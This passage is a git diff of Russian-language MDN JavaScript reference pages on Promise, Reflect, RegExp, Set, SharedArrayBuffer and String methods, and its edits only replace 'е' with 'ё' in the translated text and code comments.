              Объект функции с двумя аргументами resolve и reject. Функция executor  получает оба аргумента и выполняется сразу, ещё до того как конструктор вернёт созданный объект. Первый аргумент (resolve) вызывает успешное исполнение промиса, второй (reject) отклоняет его.
              
  Обычно функция executor описывает выполнение какой-то асинхронной работы, по завершении которой необходимо вызвать функцию resolve или reject. Обратите внимание, что возвращаемое значение функции executor игнорируется.
              
 
              
 
 
              Описание
              
 
-
              Интерфейс Promise (промис) представляет собой обертку для значения, неизвестного на момент создания промиса. Он позволяет обрабатывать результаты асинхронных операций так, как если бы они были синхронными: вместо конечного результата асинхронного метода возвращается обещание (промис) получить результат в некоторый момент в будущем.
              
+
              Интерфейс Promise (промис) представляет собой обёртку для значения, неизвестного на момент создания промиса. Он позволяет обрабатывать результаты асинхронных операций так, как если бы они были синхронными: вместо конечного результата асинхронного метода возвращается обещание (промис) получить результат в некоторый момент в будущем.
              
 
 
              Promise может находиться в трёх состояниях:
              
 
@@ -45,14 +45,14 @@ new Promise(function(resolve, reject) { ... });
  
            • отклонено (rejected): операция завершена с ошибкой.
              • 
 
            
 
-
            При создании промис находится в ожидании (pending), а затем может стать исполненным  (fulfilled), вернув полученный результат (значение), или отклоненным (rejected), вернув причину отказа. В любом из этих случаев вызывается обработчик, прикрепленный к промису методом then. (Если в момент назначения обработчика промис уже исполнен или отклонен, обработчик все равно будет вызван, т.е. асинхронное исполнение промиса и назначение обработчика не будет происходить в «состоянии гонки», как, например, в случае с событиями в DOM.)
            
+
            При создании промис находится в ожидании (pending), а затем может стать исполненным  (fulfilled), вернув полученный результат (значение), или отклонённым (rejected), вернув причину отказа. В любом из этих случаев вызывается обработчик, прикреплённый к промису методом then. (Если в момент назначения обработчика промис уже исполнен или отклонён, обработчик все равно будет вызван, т.е. асинхронное исполнение промиса и назначение обработчика не будет происходить в «состоянии гонки», как, например, в случае с событиями в DOM.)
            
 
 
            Так как методы {{JSxRef("Promise.then", "Promise.prototype.then()")}} и {{JSxRef("Promise.catch", "Promise.prototype.catch()")}} сами возвращают промис, их можно вызывать цепочкой, создавая соединения.
            
 
 
            
 
 
            
-
            Примечание: говорят, что промис находится в состоянии завершен (settled) когда он или исполнен или отклонен, т.е. в любом состоянии, кроме ожидания (это лишь форма речи, не являющаяся настоящим состоянием промиса). Также можно встретить термин исполин (resolved) — это значит что промис завершен или "заблокирован" в ожидании завершения другого промиса. В статье состояния и fates приводится более подробное описание терминологии.
            
+
            Примечание: говорят, что промис находится в состоянии завершён (settled) когда он или исполнен или отклонён, т.е. в любом состоянии, кроме ожидания (это лишь форма речи, не являющаяся настоящим состоянием промиса). Также можно встретить термин исполин (resolved) — это значит что промис завершён или "заблокирован" в ожидании завершения другого промиса. В статье состояния и fates приводится более подробное описание терминологии.
            
 
            
 
 
            Свойства
            
@@ -69,13 +69,13 @@ new Promise(function(resolve, reject) { ... });
 
            
  
            {{jsxref("Promise.all", "Promise.all(iterable)")}}
            
  
            Ожидает исполнения всех промисов или отклонения любого из них.
            
- 
            Возвращает промис, который исполнится после исполнения всех промисов в iterable. В случае, если любой из промисов будет отклонен, Promise.all будет также отклонен.
            
+ 
            Возвращает промис, который исполнится после исполнения всех промисов в iterable. В случае, если любой из промисов будет отклонён, Promise.all будет также отклонен.
            
  
            {{JSxRef("Promise.allSettled", "Promise.allSettled(iterable)")}}
            
  
            Ожидает завершения всех полученных промисов (как исполнения так и отклонения).
            
  
            Возвращает промис, который исполняется когда все полученные промисы завершены (исполнены или отклонены), содержащий массив результатов исполнения полученных промисов.
            
  
            {{jsxref("Promise.race", "Promise.race(iterable)")}}
            
  
            Ожидает исполнения или отклонения любого из полученных промисов.
            
- 
            Возвращает промис, который будет исполнен или отклонен с результатом исполнения первого исполненного или отклонённого промиса из .iterable.
            
+ 
            Возвращает промис, который будет исполнен или отклонён с результатом исполнения первого исполненного или отклонённого промиса из .iterable.
            
 
            
 
 
            
@@ -88,7 +88,7 @@ new Promise(function(resolve, reject) { ... });
  
            Возвращает промис, исполненный с результатом value.
            
  
            
  
  
            
 
            
@@ -105,7 +105,7 @@ new Promise(function(resolve, reject) { ... });
 
 
            Создание промиса
            
 
-
            Объект Promise создается при помощи ключевого слова new и своего конструктора. Конструктор Promise принимает в качестве аргумента функцию, называемую "исполнитель" (executor function). Эта функция должна принимать две функции-колбэка в качестве параметров. Первый из них (resolve) вызывается, когда асинхронная операция завершилась успешно и вернула результат своего исполнения в виде значения. Второй колбэк (reject) вызывается, когда операция не удалась, и возвращает значение, указывающее на причину неудачи, чаще всего объект ошибки.
            
+
            Объект Promise создаётся при помощи ключевого слова new и своего конструктора. Конструктор Promise принимает в качестве аргумента функцию, называемую "исполнитель" (executor function). Эта функция должна принимать две функции-колбэка в качестве параметров. Первый из них (resolve) вызывается, когда асинхронная операция завершилась успешно и вернула результат своего исполнения в виде значения. Второй колбэк (reject) вызывается, когда операция не удалась, и возвращает значение, указывающее на причину неудачи, чаще всего объект ошибки.
            
 
 
            const myFirstPromise = new Promise((resolve, reject) => {
   // выполняется асинхронная операция, которая в итоге вызовет:
diff --git a/files/ru/web/javascript/reference/global_objects/promise/race/index.html b/files/ru/web/javascript/reference/global_objects/promise/race/index.html
index 79b3fba0b0..da184495a3 100644
--- a/files/ru/web/javascript/reference/global_objects/promise/race/index.html
+++ b/files/ru/web/javascript/reference/global_objects/promise/race/index.html
@@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/race
 ---
 
            {{JSRef}}
            
 
-
            Метод Promise.race(iterable) возвращает выполненное или отклоненное обещание, в зависимости от того, с каким результатом завершится первое из переданных обещаний, со значением или причиной отклонения этого обещания.
            
+
            Метод Promise.race(iterable) возвращает выполненное или отклонённое обещание, в зависимости от того, с каким результатом завершится первое из переданных обещаний, со значением или причиной отклонения этого обещания.
            
 
 
            {{EmbedInteractiveExample("pages/js/promise-race.html")}}
            
 
@@ -27,11 +27,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/race
 
 
            Возвращаемое значение
            
 
-
            Выполненный или отклоненный {{jsxref("Promise")}} в зависимости от результата первого завершенного из переданных в итерируемом объекте обещаний.
            
+
            Выполненный или отклонённый {{jsxref("Promise")}} в зависимости от результата первого завершённого из переданных в итерируемом объекте обещаний.
            
 
 
            Описание
            
 
-
            Метод race  возвращает Обещание (Promise) с результатом, первого завершенного из переданных обещаний. Т.е. возвратит resolve или reject, в зависимости от того, что случится первым.
            
+
            Метод race  возвращает Обещание (Promise) с результатом, первого завершённого из переданных обещаний. Т.е. возвратит resolve или reject, в зависимости от того, что случится первым.
            
 
 
            Примеры
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/promise/reject/index.html b/files/ru/web/javascript/reference/global_objects/promise/reject/index.html
index 9bb06a2115..ebaed59a5f 100644
--- a/files/ru/web/javascript/reference/global_objects/promise/reject/index.html
+++ b/files/ru/web/javascript/reference/global_objects/promise/reject/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/reject
 ---
 
            {{JSRef}}
            
 
-
            Метод Promise.reject(reason) возвращает объект Promise, который был отклонен по указанной причине.
            
+
            Метод Promise.reject(reason) возвращает объект Promise, который был отклонён по указанной причине.
            
 
 
            Синтаксис
            
 
@@ -19,13 +19,13 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/reject
  
            
  
            Возвращаемое значение
            
 
- 
            Отклоненный с указанной причиной {{jsxref("Promise")}}.
            
+ 
            Отклонённый с указанной причиной {{jsxref("Promise")}}.
            
  
            
 
 
 
            Описание
            
 
-
            Promise.reject возвращает Promise который был отклонен. В целях отладки и выборочного отлова ошибок, удобно использовать в качестве причины объекты {{jsxref("Error")}}.
            
+
            Promise.reject возвращает Promise который был отклонён. В целях отладки и выборочного отлова ошибок, удобно использовать в качестве причины объекты {{jsxref("Error")}}.
            
 
 
            Примеры
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/promise/resolve/index.html b/files/ru/web/javascript/reference/global_objects/promise/resolve/index.html
index 1b5cff1c3e..f61fad91ec 100644
--- a/files/ru/web/javascript/reference/global_objects/promise/resolve/index.html
+++ b/files/ru/web/javascript/reference/global_objects/promise/resolve/index.html
@@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/resolve
 ---
 
            {{JSRef}}
            
 
-
            Метод Promise.resolve(value) возвращает {{jsxref("Promise")}} выполненный с переданным значением. Если переданное значение является thenable - объект (т.е. имеет метод {{jsxref("Promise.then", "\"then\" method")}}), возвращаемое обещание будет следовать thenable - объекту, принимая свое состояние; в ином случае возвращаемое обещание будет выполнено с переданным значением.
            
+
            Метод Promise.resolve(value) возвращает {{jsxref("Promise")}} выполненный с переданным значением. Если переданное значение является thenable - объект (т.е. имеет метод {{jsxref("Promise.then", "\"then\" method")}}), возвращаемое обещание будет следовать thenable - объекту, принимая своё состояние; в ином случае возвращаемое обещание будет выполнено с переданным значением.
            
 
 
            Синтаксис
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/promise/then/index.html b/files/ru/web/javascript/reference/global_objects/promise/then/index.html
index 211b7692dd..a380cb5b5c 100644
--- a/files/ru/web/javascript/reference/global_objects/promise/then/index.html
+++ b/files/ru/web/javascript/reference/global_objects/promise/then/index.html
@@ -12,7 +12,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/then
 
            Метод then() возвращает {{jsxref("Promise")}}. Метод может принимать два аргумента: колбэк-функции для случаев выполнения и отклонения промиса.
            
 
 
            
-
             Если один или оба аргумента отсутствуют или их значения не функции, то then пропустит их и не выбросит ошибку. Если для Promise, который переходит в состояние выполнен или отклонен вызван метод then, и у данного метода нет нужного обработчика, то в таком случае then просто возвращает промис с состоянием начального Promise, для которого then был вызван.
            
+
             Если один или оба аргумента отсутствуют или их значения не функции, то then пропустит их и не выбросит ошибку. Если для Promise, который переходит в состояние выполнен или отклонён вызван метод then, и у данного метода нет нужного обработчика, то в таком случае then просто возвращает промис с состоянием начального Promise, для которого then был вызван.
            
 
            
 
 
            Синтаксис
            
@@ -32,7 +32,7 @@ p.then(value => {
  
            onFulfilled {{optional_inline}}
            
  
            {{jsxref("Function")}} вызывается, когда Promise выполнен. Эта функция принимает один аргумент, значение с которым промис был выполнен. Если значение onFulfilled не функция, то оно автоматически заменяется на "Identity" функцию (возвращает полученный аргумент)
            
  
            onRejected {{optional_inline}}
            
- 
            {{jsxref("Function")}} вызывается, когда Promise  отклонен. Эта функция принимает один аргумент, значение с которым промис был отклонен. Если значение onRejected не функция, то оно автоматически заменяется на "Thrower" функцию (выбрасывает полученный аргумент как ошибку)
            
+ 
            {{jsxref("Function")}} вызывается, когда Promise  отклонён. Эта функция принимает один аргумент, значение с которым промис был отклонён. Если значение onRejected не функция, то оно автоматически заменяется на "Thrower" функцию (выбрасывает полученный аргумент как ошибку)
            
 
 
 
            Описание
            
@@ -58,7 +58,7 @@ p1.then(function(value) {
 
 
            Соединение
            
 
-
            Так как метод then возвращает Promise (обещание), вы можете объединить несколько вызовов then в цепочку. Значения возвращаемые из onFulfilled или onRejected колбэков будут автоматически обернуты в обещание.
            
+
            Так как метод then возвращает Promise (обещание), вы можете объединить несколько вызовов then в цепочку. Значения возвращаемые из onFulfilled или onRejected колбэков будут автоматически обёрнуты в обещание.
            
 
 
            var p2 = new Promise(function(resolve, reject) {
   resolve(1);
@@ -88,7 +88,7 @@ p2.then(function(value) {
     var j = response.json();
     // можем что-нибудь делать с j
     return j; // в случае выполнения обещания, значение
-              // передается в fetch_current_data().then()
+              // передаётся в fetch_current_data().then()
   });
 }
 
            
diff --git a/files/ru/web/javascript/reference/global_objects/reflect/construct/index.html b/files/ru/web/javascript/reference/global_objects/reflect/construct/index.html
index e5eaa5af39..e1c5fcbdbc 100644
--- a/files/ru/web/javascript/reference/global_objects/reflect/construct/index.html
+++ b/files/ru/web/javascript/reference/global_objects/reflect/construct/index.html
@@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/construct
 ---
 
            {{JSRef}}
            
 
-
            Статический метод Reflect.construct() работает как new operator. Он эквивалентен new target(...args). Это также дает дополнительную возможность указать другой прототип.
            
+
            Статический метод Reflect.construct() работает как new operator. Он эквивалентен new target(...args). Это также даёт дополнительную возможность указать другой прототип.
            
 
 
            {{EmbedInteractiveExample("pages/js/reflect-construct.html")}}
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/reflect/index.html b/files/ru/web/javascript/reference/global_objects/reflect/index.html
index 9a93944a56..8f5f7bb306 100644
--- a/files/ru/web/javascript/reference/global_objects/reflect/index.html
+++ b/files/ru/web/javascript/reference/global_objects/reflect/index.html
@@ -71,7 +71,7 @@ Reflect.has(duck, 'haircut');
 
            Добавление нового свойства в объект
            
 
 
            Reflect.set(duck, 'eyes', 'black');
-// вернется "true" если вызов успешен
+// вернётся "true" если вызов успешен
 // объект "duck" теперь содержит свойство "eyes" со значением "black"
            
 
 
            Спецификации
            
diff --git a/files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html b/files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html
index 8579639a52..c99438a6d8 100644
--- a/files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html
+++ b/files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys
 ---
 
            {{JSRef}}
            
 
-
            Статический метод Reflect.ownKeys() возвращает массив имен, а также Symbols собственных полей объекта target .
            
+
            Статический метод Reflect.ownKeys() возвращает массив имён, а также Symbols собственных полей объекта target .
            
 
 
            {{EmbedInteractiveExample("pages/js/reflect-ownkeys.html")}}
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html b/files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html
index 80c4692d97..fffdadf7c9 100644
--- a/files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html
+++ b/files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html
@@ -40,7 +40,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@split
 
 
            Этот метод существует для кастомизации поведения (разбиения) подкласса RegExp.
            
 
-
            Если аргумент str не объект типа {{jsxref("RegExp")}}, метод {{jsxref("String.prototype.split()")}} не вызывается, так же не создается объект типа {{jsxref("RegExp")}}.
            
+
            Если аргумент str не объект типа {{jsxref("RegExp")}}, метод {{jsxref("String.prototype.split()")}} не вызывается, так же не создаётся объект типа {{jsxref("RegExp")}}.
            
 
 
            Примеры
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/index.html b/files/ru/web/javascript/reference/global_objects/regexp/index.html
index 20b0d9b10e..359a8f167d 100644
--- a/files/ru/web/javascript/reference/global_objects/regexp/index.html
+++ b/files/ru/web/javascript/reference/global_objects/regexp/index.html
@@ -293,7 +293,7 @@ var re = new RegExp('\\w+');
   
            
@@ -380,7 +380,7 @@ var re = new RegExp('\\w+');
         
            Сопоставляется с x, только если x не предшествует y
            
 
         
            Например, /(?<!-)\d+/ сопоставится с цифрой, только если ей не предшествует минус.
            
-         /(?<!-)\d+/.exec('3') вернет "3".
            
+         /(?<!-)\d+/.exec('3') вернёт "3".
            
           /(?<!-)\d+/.exec('-3')  не сопоставится с цифрой, тк цифре перед цифрой 3 присутствует минус.
            
        
                   
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html b/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html
index 3d86f2958e..89551d517b 100644
--- a/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html
+++ b/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html
@@ -19,7 +19,7 @@ RegExp['$&']
 
 
            Значение свойства lastMatch доступно только для чтение и изменяется при успешном совпадении с регулярным выражением.
            
 
-
            Поскольку использование символа "&" приведет к выбрасыванию ошибки {{jsxref("SyntaxError")}}, обратиться к данному свойству с помощью точечной нотации(RegExp.$&) нельзя. Вместо этого стоит использовать скобочную нотацию (RegExp['$&']).
            
+
            Поскольку использование символа "&" приведёт к выбрасыванию ошибки {{jsxref("SyntaxError")}}, обратиться к данному свойству с помощью точечной нотации(RegExp.$&) нельзя. Вместо этого стоит использовать скобочную нотацию (RegExp['$&']).
            
 
 
            Примеры
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/n/index.html b/files/ru/web/javascript/reference/global_objects/regexp/n/index.html
index 4873c56af0..5becd52a06 100644
--- a/files/ru/web/javascript/reference/global_objects/regexp/n/index.html
+++ b/files/ru/web/javascript/reference/global_objects/regexp/n/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/n
 ---
 
            {{JSRef}} {{non-standard_header}}
            
 
-
            Нестандартные свойства $1, $2, $3, $4, $5, $6, $7, $8, $9 являются статическими и доступными только для чтения свойствами регулярных выражений, которые содержат найденные подстроки, обернутые в скобки.
            
+
            Нестандартные свойства $1, $2, $3, $4, $5, $6, $7, $8, $9 являются статическими и доступными только для чтения свойствами регулярных выражений, которые содержат найденные подстроки, обёрнутые в скобки.
            
 
 
            Синтаксис
            
 
@@ -26,7 +26,7 @@ RegExp.$9
 
 
            Значения этих свойств не доступны для изменения, они модифицируются всякий раз при успешном совпадении регулярного выражения.
            
 
-
            Количество возможных подстрок в круглых скобках неограничено, но объект RegExp может содержать в себе только последние 9. Вы можете получить доступ ко всем подстрокам, совпавшим с выражениями внутри круглых скобок, с помощью индексов возвращенного массива.
            
+
            Количество возможных подстрок в круглых скобках неограничено, но объект RegExp может содержать в себе только последние 9. Вы можете получить доступ ко всем подстрокам, совпавшим с выражениями внутри круглых скобок, с помощью индексов возвращённого массива.
            
 
 
            Эти свойства могу использоваться при замене текста в методе {{jsxref("String.replace")}}. Когда используете его, не добавляйте их в RegExp. Пример ниже демонстрирует правильное применение. Когда круглые скобки не включены в регулярное выражение, код интерпретирует такие значения, как $n буквально, как литерал (n - положительное число).
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html b/files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html
index ea9db422df..af771e9feb 100644
--- a/files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html
+++ b/files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html
@@ -53,7 +53,7 @@ console.log(regex.unicode); // true
 
            Совместимость с браузерами
            
 
 
            
-
+
 
 
            {{Compat("javascript.builtins.RegExp.unicode")}}
            
 
            
diff --git a/files/ru/web/javascript/reference/global_objects/set/delete/index.html b/files/ru/web/javascript/reference/global_objects/set/delete/index.html
index e2ecf26cfd..e6987bffe3 100644
--- a/files/ru/web/javascript/reference/global_objects/set/delete/index.html
+++ b/files/ru/web/javascript/reference/global_objects/set/delete/index.html
@@ -26,7 +26,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/delete
 
 
            Возвращаемое значение
            
 
-
            true, если элемент был успешно удален из объекта Set, иначе false.
            
+
            true, если элемент был успешно удалён из объекта Set, иначе false.
            
 
 
            Примеры
            
 
@@ -35,15 +35,15 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/delete
 
            var mySet = new Set();
 mySet.add('foo');
 
-mySet.delete('bar'); // Вернет false. Отсутствует элемент "bar" для удаления.
-mySet.delete('foo'); // Вернет true.  Успешно удален.
+mySet.delete('bar'); // Вернёт false. Отсутствует элемент "bar" для удаления.
+mySet.delete('foo'); // Вернёт true.  Успешно удалён.
 
-mySet.has('foo');    // Вернет false. Элемент "foo" больше не присутствует.
+mySet.has('foo');    // Вернёт false. Элемент "foo" больше не присутствует.
 
            
 
 
            Давайте проверим как удалить Object из Set.
            
 
-
            var setObj = new Set(); // Создаем новый Set.
+
            var setObj = new Set(); // Создаём новый Set.
 
 setObj.add({x: 10, y: 20}); // Добавляем объект в набор.
 
diff --git a/files/ru/web/javascript/reference/global_objects/set/foreach/index.html b/files/ru/web/javascript/reference/global_objects/set/foreach/index.html
index 5ed212666b..643c1f4b3f 100644
--- a/files/ru/web/javascript/reference/global_objects/set/foreach/index.html
+++ b/files/ru/web/javascript/reference/global_objects/set/foreach/index.html
@@ -60,7 +60,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/forEach
 
 
            Содержимое объекта Set 
            
 
-
            Приведенный код показывает состояние каждого элемента в объекте Set:
            
+
            Приведённый код показывает состояние каждого элемента в объекте Set:
            
 
 
            function logSetElements(value1, value2, set) {
     console.log('s[' + value1 + '] = ' + value2);
diff --git a/files/ru/web/javascript/reference/global_objects/set/set/index.html b/files/ru/web/javascript/reference/global_objects/set/set/index.html
index 66e1d0108e..5dabdcbd5d 100644
--- a/files/ru/web/javascript/reference/global_objects/set/set/index.html
+++ b/files/ru/web/javascript/reference/global_objects/set/set/index.html
@@ -18,7 +18,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/Set
 
            
  
            iterable {{optional_inline}}
            
  
            
- 
            Если передается итеративный объект, все его элементы будут добавлены в новый Set.
            
+ 
            Если передаётся итеративный объект, все его элементы будут добавлены в новый Set.
            
 
  
            Если вы не укажете этот параметр или его значение равно нулю, новый набор будет пустым.
            
  
            
diff --git a/files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html b/files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html
index d625a5a809..ecd0cb98a9 100644
--- a/files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html
+++ b/files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer
 ---
 
            {{JSRef}}
            
 
-
            Объект SharedArrayBuffer используется для создания разделенного буфера фиксированной длины для хранения примитивных бинарных данных, подобно объекту {{jsxref("ArrayBuffer")}}, но могут быть использованы для создания обзора на разделенную память. В отличие от ArrayBuffer, SharedArrayBuffer не может быть отсоединен.
            
+
            Объект SharedArrayBuffer используется для создания разделённого буфера фиксированной длины для хранения примитивных бинарных данных, подобно объекту {{jsxref("ArrayBuffer")}}, но могут быть использованы для создания обзора на разделённую память. В отличие от ArrayBuffer, SharedArrayBuffer не может быть отсоединен.
            
 
 
            Синтаксис
            
 
@@ -29,15 +29,15 @@ translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer
 
 
            Для разделения памяти с помощью объекта {{jsxref("SharedArrayBuffer")}} между одним агентом в кластере и другим (агент может быть как основной программой web-страницы, так и одним из web-workers), используются postMessage и structured cloning.
            
 
-
            Алгоритм структурированного клонирования принимает SharedArrayBuffers и TypedArrays, отображенный в SharedArrayBuffers. В обоих случаях, объект  SharedArrayBuffer передается получателю, результируя в новый, приватный объект SharedArrayBuffer внутри агента-получателя (так же как для {{jsxref("ArrayBuffer")}}). Однако, блок общих данных, на который ссылаются оба объекта SharedArrayBuffer, это один и тот же блок данных, и сторонние эффекты в блоке в одном из агентов в итоге станут заметны в другом агенте.
            
+
            Алгоритм структурированного клонирования принимает SharedArrayBuffers и TypedArrays, отображённый в SharedArrayBuffers. В обоих случаях, объект  SharedArrayBuffer передаётся получателю, результируя в новый, приватный объект SharedArrayBuffer внутри агента-получателя (так же как для {{jsxref("ArrayBuffer")}}). Однако, блок общих данных, на который ссылаются оба объекта SharedArrayBuffer, это один и тот же блок данных, и сторонние эффекты в блоке в одном из агентов в итоге станут заметны в другом агенте.
            
 
 
            var sab = new SharedArrayBuffer(1024);
 worker.postMessage(sab);
 
            
 
-
            Обновление и синхронизация разделенной памяти с помощью Атомарных операций
            
+
            Обновление и синхронизация разделённой памяти с помощью Атомарных операций
            
 
-
            Разделенная память может быть создана и изменена одновременно в  workers или основном потоке. В зависимости от системы (ЦПУ, ОС, браузер) может уйти время пока изменения будут распространены по всем контекстам. Для синхронизации необходимы {{jsxref("Атомарные", "атомарные", "", 1)}} операции .
            
+
            Разделённая память может быть создана и изменена одновременно в  workers или основном потоке. В зависимости от системы (ЦПУ, ОС, браузер) может уйти время пока изменения будут распространены по всем контекстам. Для синхронизации необходимы {{jsxref("Атомарные", "атомарные", "", 1)}} операции .
            
 
 
            API, принимающие объекты SharedArrayBuffer
            
 
@@ -61,7 +61,7 @@ worker.postMessage(sab);
 
 
            
  
            SharedArrayBuffer.length
            
- 
            Длина конструктора SharedArrayBuffer, чье значение равно 1.
            
+ 
            Длина конструктора SharedArrayBuffer, чьё значение равно 1.
            
  
            {{jsxref("SharedArrayBuffer.prototype")}}
            
  
            Позволяет дополнительные свойства для всех объектов SharedArrayBuffer.
            
 
            
diff --git a/files/ru/web/javascript/reference/global_objects/string/match/index.html b/files/ru/web/javascript/reference/global_objects/string/match/index.html
index 2819776d46..e857555cc6 100644
--- a/files/ru/web/javascript/reference/global_objects/string/match/index.html
+++ b/files/ru/web/javascript/reference/global_objects/string/match/index.html
@@ -70,7 +70,7 @@ console.log(found);
 // '.1' - это последнее значение, сопоставленное с группой `(\.\d)`.
 // Свойство 'index' содержит значение (0) индекса совпадения
 // относительно начала сопоставления
-// Свойство 'input' содержит значение введенной строки.
            
+// Свойство 'input' содержит значение введённой строки.
            
 
 
            Пример: использование флагов глобальности и игнорирования регистра с методом match()
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/string/matchall/index.html b/files/ru/web/javascript/reference/global_objects/string/matchall/index.html
index 6c8defbc17..1b698ae6cc 100644
--- a/files/ru/web/javascript/reference/global_objects/string/matchall/index.html
+++ b/files/ru/web/javascript/reference/global_objects/string/matchall/index.html
@@ -72,7 +72,7 @@ Array.from(matches, m => m[0]);
 
 
            Улучшенный доступ к группам захвата
            
 
-
            Еще одна веская причина использовать matchAll это улучшенный доступ к группам захвата. Группы захвата игнорируются при использовании match() с глобальным флагом /g:
            
+
            Ещё одна веская причина использовать matchAll это улучшенный доступ к группам захвата. Группы захвата игнорируются при использовании match() с глобальным флагом /g:
            
 
 
            var regexp = /t(e)(st(\d?))/g;
 var str = 'test1test2';
diff --git a/files/ru/web/javascript/reference/global_objects/string/padend/index.html b/files/ru/web/javascript/reference/global_objects/string/padend/index.html
index a380c3f50d..45c72b87e2 100644
--- a/files/ru/web/javascript/reference/global_objects/string/padend/index.html
+++ b/files/ru/web/javascript/reference/global_objects/string/padend/index.html
@@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/padEnd
 ---
 
            {{JSRef}}{{SeeCompatTable}}
            
 
-
            Метод padEnd() дополняет текущую строку с помощью заданной строки (в конечном счете повторяя), так чтобы результирующая строка достигла заданной длины. Дополнение применяется в конце (справа) текущей строки.
            
+
            Метод padEnd() дополняет текущую строку с помощью заданной строки (в конечном счёте повторяя), так чтобы результирующая строка достигла заданной длины. Дополнение применяется в конце (справа) текущей строки.
            
 
 
            Синтаксис
            
 
@@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/padEnd
  
            targetLength
            
  
            Длина результирующей строки, после того как текущая строка была дополнена. Если этот параметр меньше длины текущей строки, то будет возвращена текущая строка , как она есть.
            
  
            padString {{optional_inline}}
            
- 
            Строка для дополнения текущей строки с. Если эта строка слишком длинная, она будет урезана и будет применяться ее левая большая часть. " " (U+0020) - значение по умолчанию для этого параметра.
            
+ 
            Строка для дополнения текущей строки с. Если эта строка слишком длинная, она будет урезана и будет применяться её левая большая часть. " " (U+0020) - значение по умолчанию для этого параметра.
            
 
 
 
            Возвращаемое значение
            
@@ -39,7 +39,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/padEnd
 
 
            Характеристики
            
 
-
            Этот метод еще не достиг стандарта ECMAScript. Сейчас он в состоянии proposal for ECMAScript.
            
+
            Этот метод ещё не достиг стандарта ECMAScript. Сейчас он в состоянии proposal for ECMAScript.
            
 
 
            Совместимость с браузерами
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html b/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html
index 8ccf95507f..432f977fc5 100644
--- a/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html
+++ b/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html
@@ -7,7 +7,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll
 
 
            Метод replaceAll() возвращает новую строку со всеми совпадениями pattern , который меняется на replacement. pattern может быть строкой или регулярным выражением, и replacement может быть строкой или функция возвращающая каждое совпадение.
            
 
-
            Исходная строка остается без изменений.
            
+
            Исходная строка остаётся без изменений.
            
 
 
            {{EmbedInteractiveExample("pages/js/string-replaceall.html")}}
            
 
@@ -19,14 +19,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll
 
            
 
 
            
-
            Когда вы используете `regexp` вы должны установить флаг глобального поиска ("g"), иначе вернется ошибка TypeError: "replaceAll must be called with a global RegExp".
            
+
            Когда вы используете `regexp` вы должны установить флаг глобального поиска ("g"), иначе вернётся ошибка TypeError: "replaceAll must be called with a global RegExp".
            
 
            
 
 
            Parameters
            
 
 
            
  
            regexp (pattern)
            
- 
            Регулярное выражение или буква с глобальным флагом поиска ("g"). Совпадения меняются на newSubstr или значении возвращенное указанной функцией function. A RegExp без глобального флага поиска ("g") вернет ошибку TypeError: "replaceAll must be called with a global RegExp".
            
+ 
            Регулярное выражение или буква с глобальным флагом поиска ("g"). Совпадения меняются на newSubstr или значении возвращённое указанной функцией function. A RegExp без глобального флага поиска ("g") вернёт ошибку TypeError: "replaceAll must be called with a global RegExp".
            
  
            substr
            
  
            Подстрока, которая заменится newSubstr. Обрабатывается как буквенная строка, не интерпретируется как регулярное выражение.
            
  
            newSubstr (replacement)
            
@@ -45,7 +45,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll
 
 
            Указание строки в качестве параметра
            
 
-
